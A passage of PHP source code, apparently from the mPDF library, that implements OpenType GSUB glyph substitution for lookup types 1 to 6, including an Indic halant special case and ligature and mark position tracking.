this // See also ttffontsuni.php // First check if current glyph is a Halant/Virama elseif (static::_OTL_OLD_SPEC_COMPAT_1 && $Type == 4 && !$is_old_spec && strpos('0094D 009CD 00A4D 00ACD 00B4D 00BCD 00C4D 00CCD 00D4D', $currGlyph) !== false) { // only apply when 'pref blwf pstf' tags, and when mask indicates if (strpos('pref blwf pstf', $usetag) !== false) { $mask = 0; switch ($usetag) { case 'pref': $mask = (1 << (Indic::PREF)); break; case 'blwf': $mask = (1 << (Indic::BLWF)); break; case 'pstf': $mask = (1 << (Indic::PSTF)); break; } if (!($this->OTLdata[$ptr]['mask'] & $mask)) { continue; } $nextGlyph = $this->OTLdata[$ptr + 1]['hex']; $nextGID = $this->OTLdata[$ptr + 1]['uni']; if (isset($this->GSLuCoverage[$lu][$c][$nextGID])) { // Get rules from font GSUB subtable $shift = $this->_applyGSUBsubtableSpecial($lu, $c, $ptr, $currGlyph, $currGID, $nextGlyph, $nextGID, ($subtable_offset - $this->GSUB_offset), $Type, $this->GSLuCoverage[$lu][$c]); if ($shift) { break; } } } } } if ($shift == 0) { $shift = 1; } $ptr += $shift; } } } } function _applyGSUBsubtableSpecial($lookupID, $subtable, $ptr, $currGlyph, $currGID, $nextGlyph, $nextGID, $subtable_offset, $Type, $LuCoverage) { // Special case for Indic // Check to substitute Halant-Consonant in PREF, BLWF or PSTF // i.e. new spec but GSUB tables have Consonant-Halant in Lookups e.g. FreeSerif, which // incorrectly just moved old spec tables to new spec. Uniscribe seems to cope with this // See also ttffontsuni.php $this->seek($subtable_offset); $SubstFormat = $this->read_ushort(); // Subtable contains Consonant - Halant // Text string contains Halant ($CurrGlyph) - Consonant ($nextGlyph) // Halant has already been matched, and already checked that $nextGID is in Coverage table //////////////////////////////////////////////////////////////////////////////// // Only does: LookupType 4: Ligature Substitution Subtable : n to 1 //////////////////////////////////////////////////////////////////////////////// $Coverage = $subtable_offset + $this->read_ushort(); $NextGlyphPos = $LuCoverage[$nextGID]; $LigSetCount = $this->read_short(); $this->skip($NextGlyphPos * 2); $LigSet = $subtable_offset + $this->read_short(); $this->seek($LigSet); $LigCount = $this->read_short(); // LigatureSet i.e. all starting with the same Glyph $nextGlyph [Consonant] $LigatureOffset = []; for ($g = 0; $g < $LigCount; $g++) { $LigatureOffset[$g] = $LigSet + $this->read_ushort(); } for ($g = 0; $g < $LigCount; $g++) { // Ligature tables $this->seek($LigatureOffset[$g]); $LigGlyph = $this->read_ushort(); $substitute = $this->glyphToChar($LigGlyph); $CompCount = $this->read_ushort(); if ($CompCount != 2) { return 0; } // Only expecting to work with 2:1 (and no ignore characters in between) $gid = $this->read_ushort(); $checkGlyph = $this->glyphToChar($gid); // Other component/input Glyphs starting at position 2 (arrayindex 1) if ($currGID == $checkGlyph) { $match = true; } else { $match = false; break; } $GlyphPos = []; $GlyphPos[] = $ptr; $GlyphPos[] = $ptr + 1; if ($match) { $shift = $this->GSUBsubstitute($ptr, $substitute, 4, $GlyphPos); // GlyphPos contains positions to set null if ($shift) { return 1; } } } return 0; } function _applyGSUBsubtable($lookupID, $subtable, $ptr, $currGlyph, $currGID, $subtable_offset, $Type, $Flag, $MarkFilteringSet, $LuCoverage, $level, $currentTag, $is_old_spec, $tagInt) { $ignore = $this->_getGCOMignoreString($Flag, $MarkFilteringSet); // Lets start $this->seek($subtable_offset); $SubstFormat = $this->read_ushort(); //////////////////////////////////////////////////////////////////////////////// // LookupType 1: Single Substitution Subtable : 1 to 1 //////////////////////////////////////////////////////////////////////////////// if ($Type == 1) { // Flag = Ignore if ($this->_checkGCOMignore($Flag, $currGlyph, $MarkFilteringSet)) { return 0; } $CoverageOffset = $subtable_offset + $this->read_ushort(); $GlyphPos = $LuCoverage[$currGID]; //=========== // Format 1: //=========== if ($SubstFormat == 1) { // Calculated output glyph indices $DeltaGlyphID = $this->read_short(); $this->seek($CoverageOffset); $glyphs = $this->_getCoverageGID(); $GlyphID = $glyphs[$GlyphPos] + $DeltaGlyphID; } //=========== // Format 2: //=========== elseif ($SubstFormat == 2) { // Specified output glyph indices $GlyphCount = $this->read_ushort(); $this->skip($GlyphPos * 2); $GlyphID = $this->read_ushort(); } $substitute = $this->glyphToChar($GlyphID); $shift = $this->GSUBsubstitute($ptr, $substitute, $Type); if ($this->debugOTL && $shift) { $this->_dumpproc('GSUB', $lookupID, $subtable, $Type, $SubstFormat, $ptr, $currGlyph, $level); } if ($shift) { return 1; } return 0; } //////////////////////////////////////////////////////////////////////////////// // LookupType 2: Multiple Substitution Subtable : 1 to n //////////////////////////////////////////////////////////////////////////////// elseif ($Type == 2) { // Flag = Ignore if ($this->_checkGCOMignore($Flag, $currGlyph, $MarkFilteringSet)) { return 0; } $Coverage = $subtable_offset + $this->read_ushort(); $GlyphPos = $LuCoverage[$currGID]; $this->skip(2); $this->skip($GlyphPos * 2); $Sequences = $subtable_offset + $this->read_short(); $this->seek($Sequences); $GlyphCount = $this->read_short(); $SubstituteGlyphs = []; for ($g = 0; $g < $GlyphCount; $g++) { $sgid = $this->read_ushort(); $SubstituteGlyphs[] = $this->glyphToChar($sgid); } $shift = $this->GSUBsubstitute($ptr, $SubstituteGlyphs, $Type); if ($this->debugOTL && $shift) { $this->_dumpproc('GSUB', $lookupID, $subtable, $Type, $SubstFormat, $ptr, $currGlyph, $level); } if ($shift) { return $shift; } return 0; } //////////////////////////////////////////////////////////////////////////////// // LookupType 3: Alternate Forms : 1 to 1(n) //////////////////////////////////////////////////////////////////////////////// elseif ($Type == 3) { // Flag = Ignore if ($this->_checkGCOMignore($Flag, $currGlyph, $MarkFilteringSet)) { return 0; } $Coverage = $subtable_offset + $this->read_ushort(); $AlternateSetCount = $this->read_short(); ///////////////////////////////////////////////////////////////////////////////!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! // Need to set alternate IF set by CSS3 font-feature for a tag // i.e. if this is 'salt' alternate may be set to 2 // default value will be $alt=1 ( === index of 0 in list of alternates) $alt = 1; // $alt=1 points to Alternative[0] if ($tagInt > 1) { $alt = $tagInt; } ///////////////////////////////////////////////////////////////////////////////!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! if ($alt == 0) { return 0; } // If specified alternate not present, cancel [ or could default $alt = 1 ?] $GlyphPos = $LuCoverage[$currGID]; $this->skip($GlyphPos * 2); $AlternateSets = $subtable_offset + $this->read_short(); $this->seek($AlternateSets); $AlternateGlyphCount = $this->read_short(); if ($alt > $AlternateGlyphCount) { return 0; } // If specified alternate not present, cancel [ or could default $alt = 1 ?] $this->skip(($alt - 1) * 2); $GlyphID = $this->read_ushort(); $substitute = $this->glyphToChar($GlyphID); $shift = $this->GSUBsubstitute($ptr, $substitute, $Type); if ($this->debugOTL && $shift) { $this->_dumpproc('GSUB', $lookupID, $subtable, $Type, $SubstFormat, $ptr, $currGlyph, $level); } if ($shift) { return 1; } return 0; } //////////////////////////////////////////////////////////////////////////////// // LookupType 4: Ligature Substitution Subtable : n to 1 //////////////////////////////////////////////////////////////////////////////// elseif ($Type == 4) { // Flag = Ignore if ($this->_checkGCOMignore($Flag, $currGlyph, $MarkFilteringSet)) { return 0; } $Coverage = $subtable_offset + $this->read_ushort(); $FirstGlyphPos = $LuCoverage[$currGID]; $LigSetCount = $this->read_short(); $this->skip($FirstGlyphPos * 2); $LigSet = $subtable_offset + $this->read_short(); $this->seek($LigSet); $LigCount = $this->read_short(); // LigatureSet i.e. all starting with the same first Glyph $currGlyph $LigatureOffset = []; for ($g = 0; $g < $LigCount; $g++) { $LigatureOffset[$g] = $LigSet + $this->read_ushort(); } for ($g = 0; $g < $LigCount; $g++) { // Ligature tables $this->seek($LigatureOffset[$g]); $LigGlyph = $this->read_ushort(); // Output Ligature GlyphID $substitute = $this->glyphToChar($LigGlyph); $CompCount = $this->read_ushort(); $spos = $ptr; $match = true; $GlyphPos = []; $GlyphPos[] = $spos; for ($l = 1; $l < $CompCount; $l++) { $gid = $this->read_ushort(); $checkGlyph = $this->glyphToChar($gid); // Other component/input Glyphs starting at position 2 (arrayindex 1) $spos++; //while $this->OTLdata[$spos]['uni'] is an "ignore" => spos++ while (isset($this->OTLdata[$spos]) && strpos($ignore, $this->OTLdata[$spos]['hex']) !== false) { $spos++; } if (isset($this->OTLdata[$spos]) && $this->OTLdata[$spos]['uni'] == $checkGlyph) { $GlyphPos[] = $spos; } else { $match = false; break; } } if ($match) { $shift = $this->GSUBsubstitute($ptr, $substitute, $Type, $GlyphPos); // GlyphPos contains positions to set null if ($this->debugOTL && $shift) { $this->_dumpproc('GSUB', $lookupID, $subtable, $Type, $SubstFormat, $ptr, $currGlyph, $level); } if ($shift) { return ($spos - $ptr + 1 - ($CompCount - 1)); } } } return 0; } //////////////////////////////////////////////////////////////////////////////// // LookupType 5: Contextual Substitution Subtable //////////////////////////////////////////////////////////////////////////////// elseif ($Type == 5) { //=========== // Format 1: Simple Context Glyph Substitution //=========== if ($SubstFormat == 1) { $CoverageTableOffset = $subtable_offset + $this->read_ushort(); $SubRuleSetCount = $this->read_ushort(); $SubRuleSetOffset = []; for ($b = 0; $b < $SubRuleSetCount; $b++) { $offset = $this->read_ushort(); if ($offset == 0x0000) { $SubRuleSetOffset[] = $offset; } else { $SubRuleSetOffset[] = $subtable_offset + $offset; } } // SubRuleSet tables: All contexts beginning with the same glyph // Select the SubRuleSet required using the position of the glyph in the coverage table $GlyphPos = $LuCoverage[$currGID]; if ($SubRuleSetOffset[$GlyphPos] > 0) { $this->seek($SubRuleSetOffset[$GlyphPos]); $SubRuleCnt = $this->read_ushort(); $SubRule = []; for ($b = 0; $b < $SubRuleCnt; $b++) { $SubRule[$b] = $SubRuleSetOffset[$GlyphPos] + $this->read_ushort(); } for ($b = 0; $b < $SubRuleCnt; $b++) { // EACH RULE $this->seek($SubRule[$b]); $InputGlyphCount = $this->read_ushort(); $SubstCount = $this->read_ushort(); $Backtrack = []; $Lookahead = []; $Input = []; $Input[0] = $this->OTLdata[$ptr]['uni']; for ($r = 1; $r < $InputGlyphCount; $r++) { $gid = $this->read_ushort(); $Input[$r] = $this->glyphToChar($gid); } $matched = $this->checkContextMatch($Input, $Backtrack, $Lookahead, $ignore, $ptr); if ($matched) { if ($this->debugOTL) { $this->_dumpproc('GSUB', $lookupID, $subtable, $Type, $SubstFormat, $ptr, $currGlyph, $level); } for ($p = 0; $p < $SubstCount; $p++) { // EACH LOOKUP $SequenceIndex[$p] = $this->read_ushort(); $LookupListIndex[$p] = $this->read_ushort(); } for ($p = 0; $p < $SubstCount; $p++) { // Apply $LookupListIndex at $SequenceIndex if ($SequenceIndex[$p] >= $InputGlyphCount) { continue; } $lu = $LookupListIndex[$p]; $luType = $this->GSUBLookups[$lu]['Type']; $luFlag = $this->GSUBLookups[$lu]['Flag']; $luMarkFilteringSet = $this->GSUBLookups[$lu]['MarkFilteringSet']; $luptr = $matched[$SequenceIndex[$p]]; $lucurrGlyph = $this->OTLdata[$luptr]['hex']; $lucurrGID = $this->OTLdata[$luptr]['uni']; foreach ($this->GSUBLookups[$lu]['Subtables'] as $luc => $lusubtable_offset) { $shift = $this->_applyGSUBsubtable($lu, $luc, $luptr, $lucurrGlyph, $lucurrGID, ($lusubtable_offset - $this->GSUB_offset), $luType, $luFlag, $luMarkFilteringSet, $this->GSLuCoverage[$lu][$luc], 1, $currentTag, $is_old_spec, $tagInt); if ($shift) { break; } } } if (!defined("OMIT_OTL_FIX_3") || OMIT_OTL_FIX_3 != 1) { return $shift; } /* OTL_FIX_3 */ else { return $InputGlyphCount; // should be + matched ignores in Input Sequence } } } } return 0; } //=========== // Format 2: //=========== // Format 2: Class-based Context Glyph Substitution elseif ($SubstFormat == 2) { $CoverageTableOffset = $subtable_offset + $this->read_ushort(); $InputClassDefOffset = $subtable_offset + $this->read_ushort(); $SubClassSetCnt = $this->read_ushort(); $SubClassSetOffset = []; for ($b = 0; $b < $SubClassSetCnt; $b++) { $offset = $this->read_ushort(); if ($offset == 0x0000) { $SubClassSetOffset[] = $offset; } else { $SubClassSetOffset[] = $subtable_offset + $offset; } } $InputClasses = $this->_getClasses($InputClassDefOffset); for ($s = 0; $s < $SubClassSetCnt; $s++) { // $SubClassSet is ordered by input class-may be NULL // Select $SubClassSet if currGlyph is in First Input Class if ($SubClassSetOffset[$s] > 0 && isset($InputClasses[$s][$currGID])) { $this->seek($SubClassSetOffset[$s]); $SubClassRuleCnt = $this->read_ushort(); $SubClassRule = []; for ($b = 0; $b < $SubClassRuleCnt; $b++) { $SubClassRule[$b] = $SubClassSetOffset[$s] + $this->read_ushort(); } for ($b = 0; $b < $SubClassRuleCnt; $b++) { // EACH RULE $this->seek($SubClassRule[$b]); $InputGlyphCount = $this->read_ushort(); $SubstCount = $this->read_ushort(); $Input = []; for ($r = 1; $r < $InputGlyphCount; $r++) { $Input[$r] = $this->read_ushort(); } $inputClass = $s; $inputGlyphs = []; $inputGlyphs[0] = $InputClasses[$inputClass]; if ($InputGlyphCount > 1) { // NB starts at 1 for ($gcl = 1; $gcl < $InputGlyphCount; $gcl++) { $classindex = $Input[$gcl]; if (isset($InputClasses[$classindex])) { $inputGlyphs[$gcl] = $InputClasses[$classindex]; } else { $inputGlyphs[$gcl] = ''; } } } // Class 0 contains all the glyphs NOT in the other classes $class0excl = []; for ($gc = 1; $gc <= count($InputClasses); $gc++) { if (is_array($InputClasses[$gc])) { $class0excl = $class0excl + $InputClasses[$gc]; } } $backtrackGlyphs = []; $lookaheadGlyphs = []; $matched = $this->checkContextMatchMultipleUni($inputGlyphs, $backtrackGlyphs, $lookaheadGlyphs, $ignore, $ptr, $class0excl); if ($matched) { if ($this->debugOTL) { $this->_dumpproc('GSUB', $lookupID, $subtable, $Type, $SubstFormat, $ptr, $currGlyph, $level); } for ($p = 0; $p < $SubstCount; $p++) { // EACH LOOKUP $SequenceIndex[$p] = $this->read_ushort(); $LookupListIndex[$p] = $this->read_ushort(); } for ($p = 0; $p < $SubstCount; $p++) { // Apply $LookupListIndex at $SequenceIndex if ($SequenceIndex[$p] >= $InputGlyphCount) { continue; } $lu = $LookupListIndex[$p]; $luType = $this->GSUBLookups[$lu]['Type']; $luFlag = $this->GSUBLookups[$lu]['Flag']; $luMarkFilteringSet = $this->GSUBLookups[$lu]['MarkFilteringSet']; $luptr = $matched[$SequenceIndex[$p]]; $lucurrGlyph = $this->OTLdata[$luptr]['hex']; $lucurrGID = $this->OTLdata[$luptr]['uni']; foreach ($this->GSUBLookups[$lu]['Subtables'] as $luc => $lusubtable_offset) { $shift = $this->_applyGSUBsubtable($lu, $luc, $luptr, $lucurrGlyph, $lucurrGID, ($lusubtable_offset - $this->GSUB_offset), $luType, $luFlag, $luMarkFilteringSet, $this->GSLuCoverage[$lu][$luc], 1, $currentTag, $is_old_spec, $tagInt); if ($shift) { break; } } } if (!defined("OMIT_OTL_FIX_3") || OMIT_OTL_FIX_3 != 1) { return $shift; } /* OTL_FIX_3 */ else { return $InputGlyphCount; // should be + matched ignores in Input Sequence } } } } } return 0; } //=========== // Format 3: //=========== // Format 3: Coverage-based Context Glyph Substitution elseif ($SubstFormat == 3) { throw new \Mpdf\MpdfException("GSUB Lookup Type " . $Type . " Format " . $SubstFormat . " not TESTED YET."); } } //////////////////////////////////////////////////////////////////////////////// // LookupType 6: Chaining Contextual Substitution Subtable //////////////////////////////////////////////////////////////////////////////// elseif ($Type == 6) { //=========== // Format 1: //=========== // Format 1: Simple Chaining Context Glyph Substitution if ($SubstFormat == 1) { $Coverage = $subtable_offset + $this->read_ushort(); $GlyphPos = $LuCoverage[$currGID]; $ChainSubRuleSetCount = $this->read_ushort(); // All of the ChainSubRule tables defining contexts that begin with the same first glyph are grouped together and defined in a ChainSubRuleSet table $this->skip($GlyphPos * 2); $ChainSubRuleSet = $subtable_offset + $this->read_ushort(); $this->seek($ChainSubRuleSet); $ChainSubRuleCount = $this->read_ushort(); for ($s = 0; $s < $ChainSubRuleCount; $s++) { $ChainSubRule[$s] = $ChainSubRuleSet + $this->read_ushort(); } for ($s = 0; $s < $ChainSubRuleCount; $s++) { $this->seek($ChainSubRule[$s]); $BacktrackGlyphCount = $this->read_ushort(); $Backtrack = []; for ($b = 0; $b < $BacktrackGlyphCount; $b++) { $gid = $this->read_ushort(); $Backtrack[] = $this->glyphToChar($gid); } $Input = []; $Input[0] = $this->OTLdata[$ptr]['uni']; $InputGlyphCount = $this->read_ushort(); for ($b = 1; $b < $InputGlyphCount; $b++) { $gid = $this->read_ushort(); $Input[$b] = $this->glyphToChar($gid); } $LookaheadGlyphCount = $this->read_ushort(); $Lookahead = []; for ($b = 0; $b < $LookaheadGlyphCount; $b++) { $gid = $this->read_ushort(); $Lookahead[] = $this->glyphToChar($gid); } $matched = $this->checkContextMatch($Input, $Backtrack, $Lookahead, $ignore, $ptr); if ($matched) { if ($this->debugOTL) { $this->_dumpproc('GSUB', $lookupID, $subtable, $Type, $SubstFormat, $ptr, $currGlyph, $level); } $SubstCount = $this->read_ushort(); for ($p = 0; $p < $SubstCount; $p++) { // SubstLookupRecord $SubstLookupRecord[$p]['SequenceIndex'] = $this->read_ushort(); $SubstLookupRecord[$p]['LookupListIndex'] = $this->read_ushort(); } for ($p = 0; $p < $SubstCount; $p++) { // Apply $SubstLookupRecord[$p]['LookupListIndex'] at $SubstLookupRecord[$p]['SequenceIndex'] if ($SubstLookupRecord[$p]['SequenceIndex'] >= $InputGlyphCount) { continue; } $lu = $SubstLookupRecord[$p]['LookupListIndex']; $luType = $this->GSUBLookups[$lu]['Type']; $luFlag = $this->GSUBLookups[$lu]['Flag']; $luMarkFilteringSet = $this->GSUBLookups[$lu]['MarkFilteringSet']; $luptr = $matched[$SubstLookupRecord[$p]['SequenceIndex']]; $lucurrGlyph = $this->OTLdata[$luptr]['hex']; $lucurrGID = $this->OTLdata[$luptr]['uni']; foreach ($this->GSUBLookups[$lu]['Subtables'] as $luc => $lusubtable_offset) { $shift = $this->_applyGSUBsubtable($lu, $luc, $luptr, $lucurrGlyph, $lucurrGID, ($lusubtable_offset - $this->GSUB_offset), $luType, $luFlag, $luMarkFilteringSet, $this->GSLuCoverage[$lu][$luc], 1, $currentTag, $is_old_spec, $tagInt); if ($shift) { break; } } } if (!defined("OMIT_OTL_FIX_3") || OMIT_OTL_FIX_3 != 1) { return $shift; } /* OTL_FIX_3 */ else { return $InputGlyphCount; // should be + matched ignores in Input Sequence } } } return 0; } //=========== // Format 2: //=========== // Format 2: Class-based Chaining Context Glyph Substitution p257 elseif ($SubstFormat == 2) { // NB Format 2 specifies fixed class assignments (identical for each position in the backtrack, input, or lookahead sequence) and exclusive classes (a glyph cannot be in more than one class at a time) $CoverageTableOffset = $subtable_offset + $this->read_ushort(); $BacktrackClassDefOffset = $subtable_offset + $this->read_ushort(); $InputClassDefOffset = $subtable_offset + $this->read_ushort(); $LookaheadClassDefOffset = $subtable_offset + $this->read_ushort(); $ChainSubClassSetCnt = $this->read_ushort(); $ChainSubClassSetOffset = []; for ($b = 0; $b < $ChainSubClassSetCnt; $b++) { $offset = $this->read_ushort(); if ($offset == 0x0000) { $ChainSubClassSetOffset[] = $offset; } else { $ChainSubClassSetOffset[] = $subtable_offset + $offset; } } $BacktrackClasses = $this->_getClasses($BacktrackClassDefOffset); $InputClasses = $this->_getClasses($InputClassDefOffset); $LookaheadClasses = $this->_getClasses($LookaheadClassDefOffset); for ($s = 0; $s < $ChainSubClassSetCnt; $s++) { // $ChainSubClassSet is ordered by input class-may be NULL // Select $ChainSubClassSet if currGlyph is in First Input Class if ($ChainSubClassSetOffset[$s] > 0 && isset($InputClasses[$s][$currGID])) { $this->seek($ChainSubClassSetOffset[$s]); $ChainSubClassRuleCnt = $this->read_ushort(); $ChainSubClassRule = []; for ($b = 0; $b < $ChainSubClassRuleCnt; $b++) { $ChainSubClassRule[$b] = $ChainSubClassSetOffset[$s] + $this->read_ushort(); } for ($b = 0; $b < $ChainSubClassRuleCnt; $b++) { // EACH RULE $this->seek($ChainSubClassRule[$b]); $BacktrackGlyphCount = $this->read_ushort(); for ($r = 0; $r < $BacktrackGlyphCount; $r++) { $Backtrack[$r] = $this->read_ushort(); } $InputGlyphCount = $this->read_ushort(); for ($r = 1; $r < $InputGlyphCount; $r++) { $Input[$r] = $this->read_ushort(); } $LookaheadGlyphCount = $this->read_ushort(); for ($r = 0; $r < $LookaheadGlyphCount; $r++) { $Lookahead[$r] = $this->read_ushort(); } // These contain classes of glyphs as arrays // $InputClasses[(class)] e.g. 0x02E6,0x02E7,0x02E8 // $LookaheadClasses[(class)] // $BacktrackClasses[(class)] // These contain arrays of classIndexes // [Backtrack] [Lookahead] and [Input] (Input is from the second position only) $inputClass = $s; //??? $inputGlyphs = []; $inputGlyphs[0] = $InputClasses[$inputClass]; if ($InputGlyphCount > 1) { // NB starts at 1 for ($gcl = 1; $gcl < $InputGlyphCount; $gcl++) { $classindex = $Input[$gcl]; if (isset($InputClasses[$classindex])) { $inputGlyphs[$gcl] = $InputClasses[$classindex]; } else { $inputGlyphs[$gcl] = ''; } } } // Class 0 contains all the glyphs NOT in the other classes $class0excl = []; for ($gc = 1; $gc <= count($InputClasses); $gc++) { if (isset($InputClasses[$gc])) { $class0excl = $class0excl + $InputClasses[$gc]; } } if ($BacktrackGlyphCount) { for ($gcl = 0; $gcl < $BacktrackGlyphCount; $gcl++) { $classindex = $Backtrack[$gcl]; if (isset($BacktrackClasses[$classindex])) { $backtrackGlyphs[$gcl] = $BacktrackClasses[$classindex]; } else { $backtrackGlyphs[$gcl] = ''; } } } else { $backtrackGlyphs = []; } // Class 0 contains all the glyphs NOT in the other classes $bclass0excl = []; for ($gc = 1; $gc <= count($BacktrackClasses); $gc++) { if (isset($BacktrackClasses[$gc])) { $bclass0excl = $bclass0excl + $BacktrackClasses[$gc]; } } if ($LookaheadGlyphCount) { for ($gcl = 0; $gcl < $LookaheadGlyphCount; $gcl++) { $classindex = $Lookahead[$gcl]; if (isset($LookaheadClasses[$classindex])) { $lookaheadGlyphs[$gcl] = $LookaheadClasses[$classindex]; } else { $lookaheadGlyphs[$gcl] = ''; } } } else { $lookaheadGlyphs = []; } // Class 0 contains all the glyphs NOT in the other classes $lclass0excl = []; for ($gc = 1; $gc <= count($LookaheadClasses); $gc++) { if (isset($LookaheadClasses[$gc])) { $lclass0excl = $lclass0excl + $LookaheadClasses[$gc]; } } $matched = $this->checkContextMatchMultipleUni($inputGlyphs, $backtrackGlyphs, $lookaheadGlyphs, $ignore, $ptr, $class0excl, $bclass0excl, $lclass0excl); if ($matched) { if ($this->debugOTL) { $this->_dumpproc('GSUB', $lookupID, $subtable, $Type, $SubstFormat, $ptr, $currGlyph, $level); } $SubstCount = $this->read_ushort(); for ($p = 0; $p < $SubstCount; $p++) { // EACH LOOKUP $SequenceIndex[$p] = $this->read_ushort(); $LookupListIndex[$p] = $this->read_ushort(); } for ($p = 0; $p < $SubstCount; $p++) { // Apply $LookupListIndex at $SequenceIndex if ($SequenceIndex[$p] >= $InputGlyphCount) { continue; } $lu = $LookupListIndex[$p]; $luType = $this->GSUBLookups[$lu]['Type']; $luFlag = $this->GSUBLookups[$lu]['Flag']; $luMarkFilteringSet = $this->GSUBLookups[$lu]['MarkFilteringSet']; $luptr = $matched[$SequenceIndex[$p]]; $lucurrGlyph = $this->OTLdata[$luptr]['hex']; $lucurrGID = $this->OTLdata[$luptr]['uni']; foreach ($this->GSUBLookups[$lu]['Subtables'] as $luc => $lusubtable_offset) { $shift = $this->_applyGSUBsubtable($lu, $luc, $luptr, $lucurrGlyph, $lucurrGID, ($lusubtable_offset - $this->GSUB_offset), $luType, $luFlag, $luMarkFilteringSet, $this->GSLuCoverage[$lu][$luc], 1, $currentTag, $is_old_spec, $tagInt); if ($shift) { break; } } } if (!defined("OMIT_OTL_FIX_3") || OMIT_OTL_FIX_3 != 1) { return $shift; } /* OTL_FIX_3 */ else { return $InputGlyphCount; // should be + matched ignores in Input Sequence } } } } } return 0; } //=========== // Format 3: //=========== // Format 3: Coverage-based Chaining Context Glyph Substitution p259 elseif ($SubstFormat == 3) { $BacktrackGlyphCount = $this->read_ushort(); for ($b = 0; $b < $BacktrackGlyphCount; $b++) { $CoverageBacktrackOffset[] = $subtable_offset + $this->read_ushort(); // in glyph sequence order } $InputGlyphCount = $this->read_ushort(); for ($b = 0; $b < $InputGlyphCount; $b++) { $CoverageInputOffset[] = $subtable_offset + $this->read_ushort(); // in glyph sequence order } $LookaheadGlyphCount = $this->read_ushort(); for ($b = 0; $b < $LookaheadGlyphCount; $b++) { $CoverageLookaheadOffset[] = $subtable_offset + $this->read_ushort(); // in glyph sequence order } $SubstCount = $this->read_ushort(); $save_pos = $this->_pos; // Save the point just after PosCount $CoverageBacktrackGlyphs = []; for ($b = 0; $b < $BacktrackGlyphCount; $b++) { $this->seek($CoverageBacktrackOffset[$b]); $glyphs = $this->_getCoverage(); $CoverageBacktrackGlyphs[$b] = implode("|", $glyphs); } $CoverageInputGlyphs = []; for ($b = 0; $b < $InputGlyphCount; $b++) { $this->seek($CoverageInputOffset[$b]); $glyphs = $this->_getCoverage(); $CoverageInputGlyphs[$b] = implode("|", $glyphs); } $CoverageLookaheadGlyphs = []; for ($b = 0; $b < $LookaheadGlyphCount; $b++) { $this->seek($CoverageLookaheadOffset[$b]); $glyphs = $this->_getCoverage(); $CoverageLookaheadGlyphs[$b] = implode("|", $glyphs); } $matched = $this->checkContextMatchMultiple($CoverageInputGlyphs, $CoverageBacktrackGlyphs, $CoverageLookaheadGlyphs, $ignore, $ptr); if ($matched) { if ($this->debugOTL) { $this->_dumpproc('GSUB', $lookupID, $subtable, $Type, $SubstFormat, $ptr, $currGlyph, $level); } $this->seek($save_pos); // Return to just after PosCount for ($p = 0; $p < $SubstCount; $p++) { // SubstLookupRecord $SubstLookupRecord[$p]['SequenceIndex'] = $this->read_ushort(); $SubstLookupRecord[$p]['LookupListIndex'] = $this->read_ushort(); } for ($p = 0; $p < $SubstCount; $p++) { // Apply $SubstLookupRecord[$p]['LookupListIndex'] at $SubstLookupRecord[$p]['SequenceIndex'] if ($SubstLookupRecord[$p]['SequenceIndex'] >= $InputGlyphCount) { continue; } $lu = $SubstLookupRecord[$p]['LookupListIndex']; $luType = $this->GSUBLookups[$lu]['Type']; $luFlag = $this->GSUBLookups[$lu]['Flag']; $luMarkFilteringSet = $this->GSUBLookups[$lu]['MarkFilteringSet']; $luptr = $matched[$SubstLookupRecord[$p]['SequenceIndex']]; $lucurrGlyph = $this->OTLdata[$luptr]['hex']; $lucurrGID = $this->OTLdata[$luptr]['uni']; foreach ($this->GSUBLookups[$lu]['Subtables'] as $luc => $lusubtable_offset) { $shift = $this->_applyGSUBsubtable($lu, $luc, $luptr, $lucurrGlyph, $lucurrGID, ($lusubtable_offset - $this->GSUB_offset), $luType, $luFlag, $luMarkFilteringSet, $this->GSLuCoverage[$lu][$luc], 1, $currentTag, $is_old_spec, $tagInt); if ($shift) { break; } } } if (!defined("OMIT_OTL_FIX_3") || OMIT_OTL_FIX_3 != 1) { return (isset($shift) ? $shift : 0); } /* OTL_FIX_3 */ else { return $InputGlyphCount; // should be + matched ignores in Input Sequence } } return 0; } } else { throw new \Mpdf\MpdfException("GSUB Lookup Type " . $Type . " not supported."); } } function _updateLigatureMarks($pos, $n) { if ($n > 0) { // Update position of Ligatures and associated Marks // Foreach lig/assocMarks // Any position lpos or mpos > $pos + count($substitute) // $this->assocMarks = array(); // assocMarks[$pos mpos] => array(compID, ligPos) // $this->assocLigs = array(); // Ligatures[$pos lpos] => nc for ($p = count($this->OTLdata) - 1; $p >= ($pos + $n); $p--) { if (isset($this->assocLigs[$p])) { $tmp = $this->assocLigs[$p]; unset($this->assocLigs[$p]); $this->assocLigs[($p + $n)] = $tmp; } } for ($p = count($this->OTLdata) - 1; $p >= 0; $p--) { if (isset($this->assocMarks[$p])) { if ($this->assocMarks[$p]['ligPos'] >= ($pos + $n)) { $this->assocMarks[$p]['ligPos'] += $n; } if ($p >= ($pos + $n)) { $tmp = $this->assocMarks[$p]; unset($this->assocMarks[$p]); $this->assocMarks[($p + $n)] = $tmp; } } } } elseif ($n < 1) { // glyphs removed $nrem = -$n; // Update position of pre-existing Ligatures and associated Marks for ($p = ($pos + 1); $p < count($this->OTLdata); $p++) { if (isset($this->assocLigs[$p])) { $tmp = $this->assocLigs[$p]; unset($this->assocLigs[$p]); $this->assocLigs[($p - $nrem)] = $tmp; } } for ($p = 0; $p < count($this->OTLdata); $p++) { if (isset($this->assocMarks[$p])) { if ($this->assocMarks[$p]['ligPos'] >= ($pos)) { $this->assocMarks[$p]['ligPos'] -= $nrem; } if ($p > $pos) { $tmp = $this->assocMarks[$p]; unset($this->assocMarks[$p]); $this->assocMarks[($p - $nrem)] = $tmp; } } } } } function GSUBsubstitute($pos, $substitute, $Type, $GlyphPos = null) { // LookupType 1: Simple Substitution Subtable : 1 to 1 // LookupType 3: Alternate Forms : 1 to 1(n) if ($Type == 1 || $Type == 3) { $this->OTLdata[$pos]['uni'] = $substitute; $this->OTLdata[$pos]['hex'] = $this->unicode_hex($substitute); return 1; } // LookupType 2: Multiple Substitution Subtable : 1 to n elseif ($Type == 2) { for ($i = 0; $i < count($substitute); $i++) { $uni = $substitute[$i]; $newOTLdata[$i] = []; $newOTLdata[$i]['uni'] = $uni; $newOTLdata[$i]['hex'] = $this->unicode_hex($uni); // Get types of new inserted chars - or replicate type of char being replaced // $bt = Ucdn::get_bidi_class($uni); // if (!$bt) { $bt = $this->OTLdata[$pos]['bidi_type']; // } if (strpos($this->GlyphClassMarks, $newOTLdata[$i]['hex']) !== false) { $gp = 'M'; } elseif ($uni == 32) { $gp = 'S'; } else { $gp = 'C'; 